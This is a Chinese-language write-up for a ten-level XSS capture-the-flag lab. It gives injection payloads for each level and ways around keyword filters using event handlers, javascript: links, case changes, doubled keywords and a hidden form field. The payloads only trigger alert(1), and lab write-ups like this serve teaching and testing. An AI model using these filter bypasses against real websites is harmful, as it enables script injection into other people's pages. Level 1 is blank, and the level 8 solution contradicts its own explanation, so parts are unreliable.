# Writeup —【test.ctf8.com】

---

## Level 01：
題目：http://test.ctf8.com/level1.php?keyword=good%20job


:::danger
注意地方：

:::

:::info
解釋：

:::

:::success
解法：

:::

---

## Level 02：
題目：http://test.ctf8.com/level2.php?keyword=test


:::danger
注意地方：

<input name="keyword" value="test">

:::

:::info
解釋：
我們要先閉合標籤。
:::

:::success
解法：

"><script>alert(1)</script>

:::

---

## Level 03：
題目：http://test.ctf8.com/level3.php?writing=wait


:::danger
注意地方：
（同樣）
:::

:::info
解釋：
跟上題一樣，差在單引號。
然後再利用事件。
:::

:::success
解法：

' onmouseover=alert(1)//

:::

---

## Level 04：
題目：http://test.ctf8.com/level4.php?keyword=try%20harder!


:::danger
注意地方：
（同樣）
:::

:::info
解釋：
很明顯在 keyword 的地方。
:::

:::success
解法：

" onclick=alert(1)//

:::

---

## Level 05：
題目：http://test.ctf8.com/level5.php?keyword=find%20a%20way%20out!


:::danger
注意地方：
（同樣）
:::

:::info
解釋：
這題它會把「script」替換成「scr_ipt」，「on」替換成「o_n」。
我們可以試試看用「\<a\>」
:::

:::success
解法：

"><a href="javascript:alert(1)">yes</a>//

:::

---

## Level 06：
題目：http://test.ctf8.com/level6.php?keyword=break%20it%20out!


:::danger
注意地方：
（同樣）
:::

:::info
解釋：
它會把「href」替換成「hr_ef」，「src」替換成「sr_c」，「data」替換成「da_ta」。
我們可以再試試看用成大寫。
:::

:::success
解法：

"><a HREF="javascript:alert(1)">yes</a>//

:::

---

## Level 07：
題目：http://test.ctf8.com/level7.php?keyword=move%20up!


:::danger
注意地方：
（同樣）
:::

:::info
解釋：
一樣用看看「href」，發現竟然會消失，先猜測她會替換掉「href」（直接消失）。
因此我們試試看「hrhrefef」（script 也是）
:::

:::success
解法：

"><a hrhrefef="javascriscriptpt:alert(1)">yes</a>//

:::

---

## Level 08：
題目：http://test.ctf8.com/level8.php


:::danger
注意地方：

<a href="">友情链接</a>

:::

:::info
解釋：
它會把輸入放在 href，因此我一開始想要直接用「javascrscriptipt:alert(1)」，但是他把「script」替換成「scr_ipt」。
可以試試看編碼。
:::

:::success
解法：

javascript:alert(1)

:::

---

## Level 09：
題目：http://test.ctf8.com/level9.php?keyword=not%20bad!


:::danger
注意地方：
（同樣）
:::

:::info
解釋：
但是這題會檢查有沒有包含「http://」（不過不一定要在開頭）。
可以包含然後註解它。
:::

:::success
解法：

javascript:alert(1)//http://

:::

---

## Level 10：
題目：http://test.ctf8.com/level10.php?keyword=well%20done!


:::danger
注意地方：

:::

:::info
解釋：
這題沒有給我們輸入的地方，不過 url 有 keyword 可以用。
發現輸入的會更改到下面的東西，嘗試閉合它。
（結果好像沒什麼用處）
再往下看有一個隱藏 form。
如果我們試著加上「?t_link=yes&t_history=yes&t_sort=yes」，發現表格有可以用的地方：


「t_sort」可以更動，因此我們就用這個下去解就好。
:::

:::success
解法：

?t_sort=" type=image src=x onerror=alert(1)//

:::

---